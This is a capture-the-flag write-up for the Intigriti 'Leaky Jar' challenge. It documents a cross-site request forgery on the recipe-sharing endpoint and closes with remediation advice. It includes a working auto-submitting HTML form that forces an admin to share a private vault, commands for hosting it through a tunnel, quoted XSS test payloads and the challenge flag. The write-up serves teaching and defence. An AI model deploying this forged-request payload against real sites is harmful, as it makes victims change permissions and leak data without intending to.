Challenge: Intigriti Leaky Jar
Researcher:zeinitsu12
Tested browser: Current Google Chrome
Attacker account:iamtester
Vulnerability: Cross-Site Request Forgery — CWE-352
Affected endpoint:POST /share
The authenticated recipe-box sharing endpoint does not require an anti-CSRF token and accepts requests originating from an unrelated website.
I created an external page containing an auto-submitting form:
POST /share HTTP/1.1
Host: leakyjar.intigriti.io
Content-Type: application/x-www-form-urlencoded
username=iamtesterI then submitted the page to the Master Baker using the challenge’s Report a recipe feature.
When the Master Baker’s browser visited my page, Chrome attached the authenticated Master Baker session to the forged request. The application consequently shared the Master Baker’s private recipe box with my account.
After refreshing my vault, I could access:
admin's recipe box
This revealed the protected flag:
INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}
The attack requires only one victim visit. It does not require stolen credentials, cookie access, self-XSS, or a Man-in-the-Middle position.
| Field | Value |
|---|---|
| Vulnerability | Cross-Site Request Forgery |
| CWE | CWE-352 |
| Asset | https://leakyjar.intigriti.io |
| Vulnerable endpoint | POST /share |
| Attacker requirement | One normal Leaky Jar account |
| Victim | Authenticated Master Baker |
| Victim interaction | One visit to an attacker-controlled URL |
| Browser | Current Google Chrome |
| Confidentiality impact | Private administrator recipes disclosed |
| Integrity impact | Sharing permissions modified |
| Persistence | Yes |
| Self-XSS required | No |
| Man-in-the-Middle required | No |
Suggested CVSS v4.0 vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
I would classify the issue as High, rather than Critical, because it provides persistent access to private administrator data but does not result in administrator account takeover or arbitrary code execution.
I registered a normal account named:
iamtester
I initially looked at the public recipe and review functionality because it accepted user-controlled text. Existing payloads such as <script> and <img onerror> were rendered as escaped text, and the public recipe page did not expose a useful client-side script sink.
Rather than force an XSS theory that the evidence did not support, I moved to the authenticated functionality.
Inside My recipe box, I found the following sharing feature:
Share my recipe box
Baker to share with: [username]
The sharing action was interesting because it:
- Modified access to private data.
- Required only a username.
- Used a normal form POST.
- Did not expose a visible anti-CSRF token.
The screenshot above is not intended to prove a completely clean “before” state. Its purpose is to document the sensitive sharing action that led me to investigate CSRF.
The legitimate form appeared to submit a request equivalent to:
POST /share HTTP/1.1
Host: leakyjar.intigriti.io
Content-Type: application/x-www-form-urlencoded
username=TARGET_USERNAMEI wanted to determine whether the application distinguished between:
- A request intentionally submitted through Leaky Jar
- The same request submitted from an unrelated website
My hypothesis was:
If the Master Baker visits an external page containing the same form, Chrome may attach the authenticated Master Baker session. If
/sharechecks only the session cookie and username, it will share the admin vault without verifying the Master Baker’s intent.
I used my own username, iamtester, as the recipient.
I created a file called:
exploit.html
with the following content:
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Cookie Recipe</title>
</head>
<body>
<form id="csrf"
method="POST"
action="https://leakyjar.intigriti.io/share">
<input type="hidden"
name="username"
value="iamtester">
</form>
<script>
document.getElementById("csrf").submit();
</script>
</body>
</html>
Every part of the payload has a specific purpose:
method="POST"matches the method used by the legitimate sharing form.
action="https://leakyjar.intigriti.io/share"targets the real authenticated sharing endpoint.
name="username" value="iamtester"instructs the server to share the currently authenticated user’s recipe box with my account.
document.getElementById("csrf").submit();submits the form immediately after the victim loads the page.
The JavaScript executes only on my own hosting origin. It does not execute inside leakyjar.intigriti.io, access the victim’s cookie, or read the response.
I used a local HTTP server and Cloudflare Tunnel because it provided a quick public HTTPS URL.
First, I served the Desktop directory containing exploit.html:
cd C:\Users\Varad\Desktop
python -m http.server 8000The payload was then locally available at:
http://127.0.0.1:8000/exploit.html
In a second terminal, I exposed the local server:
C:\Users\Varad\Desktop\cloudflared-windows-amd64.exe tunnel --url http://127.0.0.1:8000Cloudflare generated a temporary public URL:
https://journal-communicate-useful-expires.trycloudflare.com
The complete payload URL was:
https://journal-communicate-useful-expires.trycloudflare.com/exploit.html
The screenshot includes some failed setup attempts:
- The server was initially started from the wrong directory, resulting in
404 File not found. - I initially used the wrong
cloudflared.exefilename. - After correcting both paths, the server returned:
GET /exploit.html HTTP/1.1
200 OKThese details matter because a working tunnel alone is not sufficient. The final public path must return the actual HTML payload rather than a 404 response.
Cloudflare Tunnel is not part of the vulnerability. It was only the delivery mechanism I chose.
The same payload can be served through:
- GitHub Pages
- Netlify
- Vercel
- An attacker-controlled HTTPS domain
- A webhook service that supports a custom
200 text/htmlresponse
The necessary condition is that the victim’s browser receives the payload as executable HTML.
If the service returns it as text/plain, the browser displays the source instead of submitting the form.
While authenticated as iamtester, I opened:
https://leakyjar.intigriti.io/submit
I entered the public payload URL into the Report a recipe form:
https://journal-communicate-useful-expires.trycloudflare.com/exploit.html
I then clicked:
Send to the Master Baker
The application returned:
Sent — the Master Baker will check it shortly.
From the victim’s perspective, visiting the supplied URL is the only required interaction.
No additional click is necessary because the form submits immediately.
When the Master Baker opened the URL, Chrome loaded exploit.html from the attacker-controlled HTTPS origin.
The page then submitted:
POST https://leakyjar.intigriti.io/sharewith this body:
username=iamtester
The effective request can be represented as:
POST /share HTTP/1.1
Host: leakyjar.intigriti.io
Origin: https://journal-communicate-useful-expires.trycloudflare.com
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Site: cross-site
Cookie: session=[MASTER_BAKER_SESSION]
username=iamtesterThe session value is shown as a placeholder because the exploit never needs to know or read it.
Chrome attaches the session automatically.
The application processes the request as if the Master Baker intentionally entered iamtester into the legitimate sharing form.
After waiting for the Master Baker to visit the URL, I returned to:
https://leakyjar.intigriti.io/vault
and refreshed the page.
A new entry appeared under Shared with you:
admin's recipe box
This confirmed that the forged request had caused a persistent server-side authorization change.
The result was not limited to the initial browser navigation. I could return to my account later and access the admin’s vault through the normal application interface.
I clicked View beside:
admin's recipe box
The private recipe box contained:
House Sugar Cookies
Brown Butter Base
Master Baker's Secret Recipe
The final recipe disclosed:
INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}
This proved direct confidentiality impact rather than only demonstrating that a cross-site request could be sent.
The browser behaved as expected. The vulnerability exists because the server treated an authenticated request as an intentional request.
Those are not equivalent security properties.
Three conditions made exploitation possible.
The complete sharing action could be reproduced using only:
username=iamtester
There was no unpredictable value tied to the Master Baker’s authenticated session.
A correct anti-CSRF design would require something similar to:
POST /share HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=iamtester&csrf_token=UNPREDICTABLE_SESSION_VALUEAn external page would not know the correct token.
The server accepted the state-changing request even though it originated from:
https://journal-communicate-useful-expires.trycloudflare.com
rather than:
https://leakyjar.intigriti.io
This proves that the endpoint did not enforce the expected application origin before changing sharing permissions.
The session was issued with attributes equivalent to:
Set-Cookie: session=[REDACTED]; Secure; HttpOnly; Path=/; SameSite=NoneIn current Chrome:
SameSite=Nonepermits the cookie to accompany cross-site requests.Securerequires HTTPS.- Both the payload and target used HTTPS.
As a result, Chrome attached the Master Baker’s authenticated session to the cross-site POST.
This exploit does not require reading the response.
The form uses:
Content-Type: application/x-www-form-urlencodedA standard HTML form can send this type of cross-origin request without requiring the attacker to obtain CORS read permission.
The Same-Origin Policy may prevent the attacker-controlled page from inspecting the response, but the state change has already occurred.
For CSRF, sending the request is sufficient.
HttpOnly prevents scripts from reading the session cookie through:
document.cookieThe exploit never attempts to do this.
The browser attaches the cookie automatically when sending the request. Therefore, the session can remain completely hidden from the attacker while still being used to authorize the forged action.
This is why the issue is CSRF rather than session theft.
Secure prevents the cookie from being sent over unencrypted HTTP.
The attacker page used HTTPS:
https://journal-communicate-useful-expires.trycloudflare.com
and the destination also used HTTPS:
https://leakyjar.intigriti.io
The Secure requirement was therefore satisfied.
The payload is hosted and executed on an attacker-controlled origin.
The victim does not:
- Open developer tools
- Paste code into the console
- Modify the page
- Execute a bookmarklet
- Enter a payload themselves
The Master Baker only visits a URL.
The vulnerability is the target application accepting an authenticated cross-site state-changing request.
The exploit does not intercept or modify network traffic.
Both origins communicate over HTTPS. The attacker does not need to control:
- The victim’s network
- DNS resolution
- A proxy
- A TLS certificate for the target
- Any traffic between the victim and Leaky Jar
The attack works entirely through normal browser request behavior.
The public recipe page contained user-controlled review content. However, HTML payloads were rendered as escaped text rather than executable elements.
Examples appeared as literal strings:
<script>alert(1)</script>and:
<img src=x onerror=alert(1)>The public recipe page also did not expose a useful client-side JavaScript sink.
I therefore stopped pursuing the XSS path rather than reporting an unproven execution theory.
The session cookie was HttpOnly, and cookie theft was unnecessary.
The CSRF exploit worked without knowing the cookie’s value.
The attacker page did not need to read the response from /share.
The important effect—the permission change—occurred server-side before the browser returned to the attacker’s workflow.
The issue did not depend on Cloudflare Tunnel.
The relevant variables were:
Publicly reachable page
+ executable HTML response
+ authenticated Master Baker visit
+ cross-site POST accepted by /share
The following conditions are required:
- The attacker must have a valid Leaky Jar username to receive access.
- The Master Baker must be authenticated when the payload is opened.
- The payload must be served as executable HTML.
- The public URL must point to the actual payload rather than a missing file.
- The target must continue accepting cross-site requests without a valid anti-CSRF token.
The exploit would fail if any of the following controls were introduced:
- A valid session-bound anti-CSRF token
- Strict
Originvalidation - A suitable
SameSitecookie restriction - Reauthentication or confirmation before sharing
- Rejection of cross-site state-changing requests
The forged request modified the Master Baker’s stored sharing permissions and granted iamtester persistent access to private administrator data.
I was able to:
- Force the Master Baker to share a private vault with my account
- Retain access after the original bot visit finished
- Open administrator-only recipes through the legitimate application interface
- Recover the protected challenge flag
The impact affects two security properties:
Private administrator recipes became accessible to an unauthorized account.
- The exposed data included:
Master Baker's Secret Recipe
and the challenge flag.
- The Master Baker’s server-side sharing configuration was modified without intentional approval.
Every state-changing sharing request should require a unique, unpredictable token tied to the authenticated session.
Example form:
<form method="POST" action="/share">
<input type="hidden"
name="csrf_token"
value="{{ session.csrf_token }}">
<input type="text"
name="username"
required>
<button type="submit">
Share box
</button>
</form>The server must verify the token before modifying permissions:
def share_recipe_box(request):
if not constant_time_equals(
request.form["csrf_token"],
session["csrf_token"]
):
abort(403)
share_with(request.form["username"])If the application uses Flask, a maintained CSRF implementation such as Flask-WTF can provide global protection rather than relying on manual checks for individual endpoints.
For state-changing requests, verify:
Origin: https://leakyjar.intigriti.ioIf Origin is absent, use a strict Referer fallback.
Requests from other origins should be rejected:
HTTP/1.1 403 ForbiddenOrigin validation should be defense in depth, not the only CSRF control.
If cross-site authenticated requests are unnecessary, configure:
SameSite=Lax
or:
SameSite=Strict
Continue using:
Secure
HttpOnly
A possible Flask configuration would be:
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SAMESITE = "Lax"Cookie attributes should supplement anti-CSRF tokens rather than replace them.
Before granting access to a private recipe box, display the exact recipient:
You are about to share your private recipe box with:
iamtester
Then require explicit confirmation.
For particularly sensitive resources, the application could also require password re-entry.
A cross-site request without a valid CSRF token should receive:
HTTP/1.1 403 Forbidden
Content-Type: application/json
{
"error": "invalid_csrf_token"
}No sharing relationship should be created, and the attacker’s vault should remain unchanged.
The session cookie was protected from theft.
It was not protected from being used by the browser on the attacker’s behalf.
That distinction is the core of this vulnerability: the application successfully determined which user was authenticated, but never verified whether that user intended to share the vault.